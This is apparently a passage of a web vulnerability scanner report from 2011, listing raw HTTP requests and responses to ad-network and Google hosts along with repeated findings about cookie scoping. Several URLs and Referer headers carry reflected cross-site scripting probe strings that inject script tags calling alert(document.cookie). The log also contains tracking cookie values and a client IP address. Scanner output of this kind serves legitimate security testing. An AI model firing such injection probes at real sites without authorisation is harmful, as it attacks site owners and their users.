(KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=MoWMI9J.4ChiO7o; imp=a$le#1295889980185_145363176_ap2100_int|
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: imp=a$le#1295921988188_58040565_as2108_imp|285#1295921988188_58040565_as2108_imp|; Domain=.teracent.net; Expires=Sun, 24-Jul-2011 02:19:48 GMT; Path=/tase Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Date: Tue, 25 Jan 2011 02:19:47 GMT Content-Length: 18077
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /tase/redir/1295921988188_58040565_as2108_imp/vew?q=H4sIAAAAAAAAAFWPPW7DMAyFr0KKlCii2jl56BoYOkIB_wjp6CEpPDTJcXqoXqa0kRrtQOC9xw984Pf89bKO5QSUgw-QZEzd04kwCf26zJn4cJpV0kGmpDHlv075cJAZDhJUkVNvY0Fb5uKJEyESpETWxi3wHsiqTtrwsQUh7aGQ2NvQ1nIKXs0M2LnQQEC7AALtnwQEwuh3O9jWQrQLFIi9rdf_LZUVI7JwXUZntK6fg92G86UQAlSESrEC1pArqi_ae3m9T-22PK7WCvmrMYLkhMi2Ps5lmdu9Tcv1MtlQSNl-AMndVvZlAQAA&act=vew&idx=[0]&com=swf&rnd=1295921994463 HTTP/1.1 Host: adserver.teracent.net Proxy-Connection: keep-alive Referer: http://pcdn.tcgmsrv.net/tase/swf/toyota-inmarket/toyota_inmarket_300.swf Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=MoWMI9J.4ChiO7o; imp=a$le#1295921988188_58040565_as2108_imp|285#1295921988188_58040565_as2108_imp|
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: imp=a$le#1295921992907_58231589_as2103_vew|285#1295921988188_58040565_as2108_imp|; Domain=.teracent.net; Expires=Sun, 24-Jul-2011 02:19:52 GMT; Path=/tase ETag: W/"43-1259995862000" Last-Modified: Sat, 05 Dec 2009 06:51:02 GMT Content-Type: image/gif Content-Length: 43 Date: Tue, 25 Jan 2011 02:19:52 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /select/Login HTTP/1.1 Host: adwords.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /is/r1-ads.ace.advertising.com?U=/site=772178/size=300250/u=2/bnum=49004778/hr=15/hl=2/c=3/scres=5/swh=1920x1200/tile=1/f=0/r=1/optn=1/fv=10/aolexp=1/dref=http%253A%252F%252Fwww.abbreviations.com%252Fbs.aspx%253Fst%253Db1.aspx51536%25253Cscript%25253Ealert%2528document.cookie%2529%25253C%252Fscript%25253E7a00ceef170%2526SE%253D3%2526r%253D1&V=3-%2fmHdV%2fSxID49%2fY3rKxMK4v+7iK9zQp8Trq285f3hOfOA%2fRinTOf8SX2thSjDHleWAQBFwlhcryU%3d&I=17D7C736696B8AA&D=r1.ace.advertising.com&01AD=1& HTTP/1.1 Host: ak1.abmr.net Proxy-Connection: keep-alive Referer: http://www.abbreviations.com/bs.aspx?st=b1.aspx51536%3Cscript%3Ealert(document.cookie)%3C/script%3E7a00ceef170&SE=3&r=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 01AI=2-2-B80F4175F833E42619203875B6A13D4E1441FE75A7BB1C5368154550679EAB18-CC167F5656F9E658F14A37A7A688219EBE41C044BE8EA8E25C20763073A7C846
Response
HTTP/1.1 302 Moved Temporarily Content-Length: 0 Location: http://r1-ads.ace.advertising.com/site=772178/size=300250/u=2/bnum=49004778/hr=15/hl=2/c=3/scres=5/swh=1920x1200/tile=1/f=0/r=1/optn=1/fv=10/aolexp=1/dref=http%253A%252F%252Fwww.abbreviations.com%252Fbs.aspx%253Fst%253Db1.aspx51536%25253Cscript%25253Ealert%2528document.cookie%2529%25253C%252Fscript%25253E7a00ceef170%2526SE%253D3%2526r%253D1?01AD=3dzaKJUOYWQidaSHS5y0YmSmFaXEvvd0LZvbK5g_-GSwVryO8dt0x1w&01RI=17D7C736696B8AA&01NA= Expires: Mon, 24 Jan 2011 21:08:39 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 24 Jan 2011 21:08:39 GMT Connection: close Set-Cookie: 01AI=2-2-E74B5E0BA5732C35BC52F42A6AAFD162E9E3C651AE0BE96BFC6B936C6BF32537-9E7777269A9BB1AAE2C4010D7B5CF320CCEC2B7369606790ED15668E1191BC18; expires=Tue, 24-Jan-2012 21:08:39 GMT; path=/; domain=.abmr.net P3P: policyref="http://www.abmr.net/w3c/policy.xml", CP="NON DSP COR CURa ADMa DEVa OUR SAMa IND"
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /m/m.php/1295906131129/m.gif HTTP/1.1 Host: as2.whdh.com Proxy-Connection: keep-alive Referer: http://www1.whdh.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /ads/?t=pp&px=10660&rnd=1596989115 HTTP/1.1 Host: at.amgdgt.com Proxy-Connection: keep-alive Referer: http://dm.de.mookie1.com/2/B3DM/2010DM/1596198292@x23?USNetwork/Dominos_11Q1_DXU_Opt_120 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ID=AAAAAQAUaMxGSGTK5Wp9qxNESW3w7hCyFHoAAJFcc59Mh0I7lruTfrzkOUgAAAEtaF2gzw--; LO=AAAAAQAUTb0ojsGjTYemMhM8.wPqufZbuW0BAHVzYTt0eDs2MjM7ZGFsbGFzOzc1MjA3O3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjticm9hZGJhbmQ7MTczLjE5My4yMTQuMjQz; UA=AAAAAQAU6LV_14AmMYMgOwrAn3GlJXyBz.oDA3gBY2BgYGZg_F7OwBLYwsDwT4SB4VQyAwODOAMDo25GXH4gA2O3HwPz36VIcqJgudhrXgxMAV4MLJd_IckB9QP1xS44DzQDDHw1fjUwMDIwsOQwAi2CGBrNwAS2kmFGAesCoBzYHIbNvhAOkA8APJMd4Q--
Response
HTTP/1.1 302 Moved Temporarily Server: Apache-Coyote/1.1 Set-Cookie: UA=AAAAAQAU5FRWDkay5gNIBniL3nCP0n0K9AIDA3gBY2BgYGZg_F7OwBLYwsDwT4SB4VQyAwODOAMDo25GXH4gA2O3HwPz36VIcqJgudhrXgxMAV4MLJd_IckB9QP1xS44DzQDDHzthBoYmBgYZugzMjAyMLDkMPEzCQAZjLq7zn9zgqgBAClnGck-; Domain=.amgdgt.com; Expires=Thu, 24-Feb-2011 01:35:47 GMT; Path=/ Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-cache, no-store P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: http://cdn.amgdgt.com/base/pixels/transparent.gif Content-Length: 0 Date: Tue, 25 Jan 2011 01:35:46 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /seg/cm/de18_1 HTTP/1.1 Accept: */* Referer: http://www.soundingsonline.com/archives?'"--></style></script><script>alert(0x001E2B)</script> Accept-Language: en-US User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) Accept-Encoding: gzip, deflate Host: b.collective-media.net Proxy-Connection: Keep-Alive
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Date: Tue, 25 Jan 2011 02:27:23 GMT Content-Type: image/gif Connection: close P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Set-Cookie: cli=11ddec103f853dc; domain=collective-media.net; path=/; expires=Thu, 24-Jan-2013 02:27:23 GMT Content-Length: 42
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /b?c1=8&c2=3005693&rn=575395576&c7=http%3A%2F%2Ftweetmeme.com%2F&c3=3&c4=http%3A%2F%2Fwww.tweetmeme.com&c8=TweetMeme%20-%20Search%20and%20Retweet%20the%20Hottest%20Stories&cv=2.2&cs=js HTTP/1.1 Host: b.scorecardresearch.com Proxy-Connection: keep-alive Referer: http://tweetmeme.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: UID=1f00d615-24.143.206.88-1294170954
Response
HTTP/1.1 204 No Content Content-Length: 0 Date: Mon, 24 Jan 2011 22:20:55 GMT Connection: close Set-Cookie: UID=1f00d615-24.143.206.88-1294170954; expires=Wed, 23-Jan-2013 22:20:55 GMT; path=/; domain=.scorecardresearch.com P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID OUR IND COM STA OTC" Expires: Mon, 01 Jan 1990 00:00:00 GMT Pragma: no-cache Cache-Control: private, no-cache, no-cache=Set-Cookie, no-store, proxy-revalidate Server: CS
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /r?c2=6035740&d.c=gif&d.o=detraderonline&d.x=87575725&d.t=page&d.u=http%3A%2F%2Fwww.traderonline.com%2Fx22ec89d%253Cscript%253Ealert%28document.cookie%29%253C%2Fscript%253E93a08fbf703&d.r=http%3A%2F%2Fburp%2Fshow%2F5 HTTP/1.1 Host: b.scorecardresearch.com Proxy-Connection: keep-alive Referer: http://www.traderonline.com/x22ec89d%3Cscript%3Ealert(document.cookie)%3C/script%3E93a08fbf703 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: UID=1f00d615-24.143.206.88-1294170954
Response
HTTP/1.1 200 OK Content-Length: 43 Content-Type: image/gif Date: Mon, 24 Jan 2011 15:58:37 GMT Connection: close Set-Cookie: UID=1f00d615-24.143.206.88-1294170954; expires=Wed, 23-Jan-2013 15:58:37 GMT; path=/; domain=.scorecardresearch.com P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID OUR IND COM STA OTC" Expires: Mon, 01 Jan 1990 00:00:00 GMT Pragma: no-cache Cache-Control: private, no-cache, no-cache=Set-Cookie, no-store, proxy-revalidate Server: CS
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /bh/set.aspx?action=add&advid=2709&token=TOT09 HTTP/1.1 Host: bh.contextweb.com Proxy-Connection: keep-alive Referer: http://7newsboston.disqus.com/stats.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: V=gFEcJzqCjXJj
Response
HTTP/1.1 200 OK Server: Sun GlassFish Enterprise Server v2.1 CW-Server: cw-web83 Set-Cookie: V=gFEcJzqCjXJj; Domain=.contextweb.com; Expires=Thu, 19-Jan-2012 21:55:49 GMT; Path=/ Set-Cookie: cwbh1=2709%3B02%2F23%2F2011%3BTOT09; Domain=.contextweb.com; Expires=Tue, 29-Dec-2015 21:55:49 GMT; Path=/ Content-Type: image/gif Date: Mon, 24 Jan 2011 21:55:48 GMT Content-Length: 49
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /json?c=OXM_32728599221&pid=7f43337b-cb6f-453f-9ae5-4abd7cd18bda&s=728x90&f=0.1&cid=oxpv1%3A58349-98644-254472-4738-17101&hrid=39925b34906404a722d1479181f4316b-1295921102&url=http%3A%2F%2Fwww.netlingo.com%2F HTTP/1.1 Host: bid.openx.net Proxy-Connection: keep-alive Referer: http://www.netlingo.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: i=8e1bb757-a622-431b-967f-869e18a071fe; s=9be4e4e2-589c-4bbb-b5f5-bab9ba09b572; p=1295921102; _wc[1295921102372]=H4sIAAAAAAAAAONgYGRg0D7MwcDEwNCxkYOBmYEh_zwDANrv7-sWAAAA
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /json?c=OXM_15781025984&pid=7f43337b-cb6f-453f-9ae5-4abd7cd18bda&s=468x60&f=0.1&cid=oxpv1%3A58349-98644-254472-4738-17099&hrid=dda27c0e92ce176b4b94dc8a5861a24c-1295921101&url=http%3A%2F%2Fwww.netlingo.com%2F HTTP/1.1 Host: bid.openx.net Proxy-Connection: keep-alive Referer: http://www.netlingo.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: i=8e1bb757-a622-431b-967f-869e18a071fe
Response
HTTP/1.1 200 OK Content-Type: text/javascript; charset=iso-8859-1 Cache-Control: no-cache, must-revalidate P3P: CP="CUR ADM OUR NOR STA NID" Connection: close Expires: Mon, 26 Jul 1997 05:00:00 GMT Pragma: no-cache Set-Cookie: s=9be4e4e2-589c-4bbb-b5f5-bab9ba09b572; version=1; path=/; domain=.openx.net; Set-Cookie: p=1295921102; version=1; path=/; domain=.openx.net; max-age=63072000;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /log?l=H4sIAAAAAAAAAGWQO07DQBRFzzixM_aYWIi_AJOCLrKwQ_A4DTQUUIQGsYEopmUDFKFBSNT0bIE10MMqkFgGM_4EIaaZ9-7c0bnvKQRwqOflJC_mWTI-SUfJeJaVyUyP0qRIdV7q7PY414XEmZ4efYS4svrkeHRA0jW1lLgwfJd48PQm6cHdZ4Q0Les4xtk1Ds_oEh9Fn4hV1thih2122WePOMK3fvMU2LtjMA6eIrbNzfV5wIF9Rj4vAga0J8SrE_GbSA-qRPe-TSQWLzaRyC-bRAKvYTkmTb_hOZYnCadnD1f_oeLx9S-0FxDUtYiVGam1h43jS7GyFPuNOFFmulqsNgFuYBa0BGzU5feFYrP1_QBQiO-kpAEAAA==&l_xyz=8_28623 HTTP/1.1 Host: bid.openx.net Proxy-Connection: keep-alive Referer: http://www.netlingo.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: i=8e1bb757-a622-431b-967f-869e18a071fe; s=9be4e4e2-589c-4bbb-b5f5-bab9ba09b572; p=1295921102
Response
HTTP/1.1 200 OK Content-Type: image/gif Cache-Control: no-cache, must-revalidate P3P: CP="CUR ADM OUR NOR STA NID" Connection: close Expires: Mon, 26 Jul 1997 05:00:00 GMT Content-Length: 42 Pragma: no-cache Set-Cookie: _wc[1295921102372]=H4sIAAAAAAAAAONgYGRg0D7MwcDEwNCxkYOBmYEh_zwDANrv7-sWAAAA; version=1; path=/; domain=.openx.net; max-age=2592000;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: blogsearch.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<html><head><meta HTTP-EQUIV="content-type" content="text/html; charset=UTF-8"><meta description="Google Blog Search provides fresh, relevant search results from millions of feed-enabled blogs. Users ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /bkshp HTTP/1.1 Host: books.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:01:52 GMT Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Content-Type: text/html; charset=UTF-8 Set-Cookie: PREF=ID=d33f47f272219df9:TM=1295881312:LM=1295881312:S=WikbyyY0JXmoqzCh; expires=Wed, 23-Jan-2013 15:01:52 GMT; path=/; domain=.google.com X-Content-Type-Options: nosniff Server: OFE/0.1 Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /books HTTP/1.1 Host: books.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:01:54 GMT Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Content-Type: text/html; charset=UTF-8 Set-Cookie: PREF=ID=d431de1ea54b0d62:TM=1295881314:LM=1295881314:S=NrIf36hJf5JjvkvE; expires=Wed, 23-Jan-2013 15:01:54 GMT; path=/; domain=.google.com X-Content-Type-Options: nosniff Server: OFE/0.1 Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /BurstingPipe/adServer.bs?cn=tf&c=19&mc=imp&pli=2150004&PluID=0&ord=1295907707715&rtu=-1 HTTP/1.1 Host: bs.serving-sys.com Proxy-Connection: keep-alive Referer: http://ads.tweetmeme.com/serve.js?tag=home&width=300&height=250&rand=53705905654 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: u3=1; C4=; eyeblaster=BWVal=&BWDate=&debuglevel=&FLV=10.1103&RES=128&WMPV=0; A3=gn3Ka4JO09MY00001fU+La50V0a+r00001fUFGa50V02WG00001gy7La9bU0c9M00003gy5Da9bU0c9M00001gCTVa9bU0c9M00001; B3=7lgH0000000001sG852G0000000003sS83xP0000000001sF7gi30000000001sG852z0000000001sS852A0000000001sS; u2=1b39b065-3668-4ab4-a4dc-a28fe9442aaf3G601g
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
FFCap=1463B1219,174796:933,196008:0,0|0,11,1:0,17,1:0,21,0;expires=Wed, 23 Feb 2011 22:30:29 GMT;path=/;domain=.zedo.com;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /OzoDB/cutils/R52_9/jsc/305/egc.js HTTP/1.1 Host: c7.zedo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ZEDOIDA=INmz6woBADYAAHrQ5V4AAACH~010411; FFgeo=5386156; ZEDOIDX=29; FFChanCap=1463B1219,48#878391,19#878390,1#706985#736041#704705,20#878399,16#706985:1083,8#647871,7#740741#668673#648477:1099,2#702971|0,1,1:0,1,1:0,1,1:1,1,1:2,1,1:0,11,1:0,11,1:1,6,1:0,12,7:0,7,2:0,6,1:0,17,1; ZFFAbh=749B826,20|1483_749#365; FFCap=1463B1219,174796:933,196008|0,11,1:0,17,1;
Response
HTTP/1.1 200 OK Server: ZEDO 3G Content-Length: 6 Content-Type: application/x-javascript Set-Cookie: FFCap=1463B1219,174796:933,196008:0,0|0,11,1:0,17,1:0,21,0;expires=Wed, 23 Feb 2011 22:30:29 GMT;path=/;domain=.zedo.com; P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" X-Varnish: 1041103803 1040114911 Cache-Control: max-age=996206 Expires: Sat, 05 Feb 2011 11:13:55 GMT Date: Mon, 24 Jan 2011 22:30:29 GMT Connection: close
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
FFgeo=5386156;expires=Tue, 24 Jan 2012 21:54:47 GMT;domain=.zedo.com;path=/;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /bar/v16-401/c5/jsc/gl.js HTTP/1.1 Host: c7.zedo.com Proxy-Connection: keep-alive Referer: http://c5.zedo.com/jsc/c5/ff2.html?n=305;c=2290/2289/1;s=788;d=9;w=300;h=250 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ZEDOIDA=INmz6woBADYAAHrQ5V4AAACH~010411; ZEDOIDX=29; FFChanCap=1463B1219,48#878391,19#878390,1#706985#736041#704705,20#878399,16#706985:1083,8#647871,7#740741#668673#648477:1099,2#702971|0,1,1:0,1,1:0,1,1:1,1,1:2,1,1:0,11,1:0,11,1:1,6,1:0,12,7:0,7,2:0,6,1:0,17,1; FFgeo=5386156; FFCap=1463B1219,174796:933,196008|0,11,1:0,17,1; ZFFAbh=749B826,20|1483_749#365
Response
HTTP/1.1 200 OK Server: ZEDO 3G Content-Length: 399 Content-Type: application/x-javascript Set-Cookie: FFgeo=5386156;expires=Tue, 24 Jan 2012 21:54:47 GMT;domain=.zedo.com;path=/; ETag: "91bd5740-5d7-4988a5ba08d40" Vary: Accept-Encoding X-Varnish: 1882666809 P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Cache-Control: max-age=283434 Expires: Fri, 28 Jan 2011 04:38:41 GMT Date: Mon, 24 Jan 2011 21:54:47 GMT Connection: close
// Copyright (c) 2000-2010 ZEDO Inc. All Rights Reserved.
var zzl='en-US';
if(typeof zzGeo=='undefined'){ var zzGeo=254;} if(typeof zzCountry=='undefined'){ var zzCountry=255;} if(typeof ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /i/0Rw6qcLcmo_34070076.html?rtbhost=rts-rr14.sldc.dataxu.net&btid=NEQzRTI4RUUwMDAxOTA1QjBBRTU2N0Q4MjBFNzcxQkV8ZWMxNTA4OWUtNjFiYi00Y2FmLTkzZTItNTIwNGU4NTNlZDI3fDEyOTU5MTkzNDM3NTl8MXwwRmVYbGtHVmN4fDBSdzZxY0xjbW98ODg5NTY1MzE3fA&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TT4o7gABkFsK5WfYIOdxvqDxBisV1iCr7MNZGg&euid=Q0FFU0VDSUFxLVBVbW8yVVJpZkRFMzFLLTJB&slotid=MQ&fiu=MEZlWGxrR1ZjeA&ciu=MFJ3NnFjTGNtbw&reqid=NEQzRTI4RUUwMDAxOTA1QjBBRTU2N0Q4MjBFNzcxQkU&ccw=SUFCMTkjMC4wfElBQjE1IzAuMHxJQUIxOSMwLjB8SUFCMTUjMC4w&epid=&bp=158&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&s=http%3A%2F%2Fjoomlacode.org%2Fgf%2Fproject%2Fjoomla%2Freporting%2F&refurl= HTTP/1.1 Host: cdn.w55c.net Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: wfivefivec=MDo0lVW4JKDM6LrVGjt5veKcuBH63bWQ
Response
HTTP/1.1 200 OK Set-Cookie: wfivefivec=MDo0lVW4JKDM6LrVGjt5veKcuBH63bWQ;Path=/;Domain=.w55c.net;Expires=Thu, 24-Jan-13 01:35:43 GMT Cneonction: close Nncoection: close P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR' Accept-Ranges: bytes Last-Modified: Wed, 12 Jan 2011 22:15:42 GMT Date: Tue, 25 Jan 2011 01:06:57 GMT Server: w55c.net Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.0 cdn.w55c.net (MII JProxy) Cache-Control: no-cache, no-store Pragma: no-cache Content-Type: text/html Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a) Connection: keep-alive Content-Length: 1336
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /fs-bin/click?id=Xy0hOcdtU4s&offerid=145238.1405647&type=2&subid=0 HTTP/1.1 Host: click.linksynergy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /p/swfobject/ HTTP/1.1 Host: code.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /orbserv/hbpix?pixId=1598&pcv=45&ptid=100&tpv=00&tpu=4d1ec56b7612a62c&curl=http%3a%2f%2fwww.abbreviations.com%2fbs.aspx%3fst%3db1.aspx51536%253Cscript%253Ealert(document.cookie)%253C%2fscript%253E7a00ceef170%26SE%3d3%26r%3d1 HTTP/1.1 Host: cspix.media6degrees.com Proxy-Connection: keep-alive Referer: http://s7.addthis.com/static/r07/sh30.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: acs=015020a0e0f0g1lebnnsxzt1ibglxzt1wsurxzt1wsurxzt1wsur; ipinfo=2lf8gij0zijsvn5yhbqbe90httd3GK520752HF6QnyynflFbsgYnlreGrpuabybtvrf00; 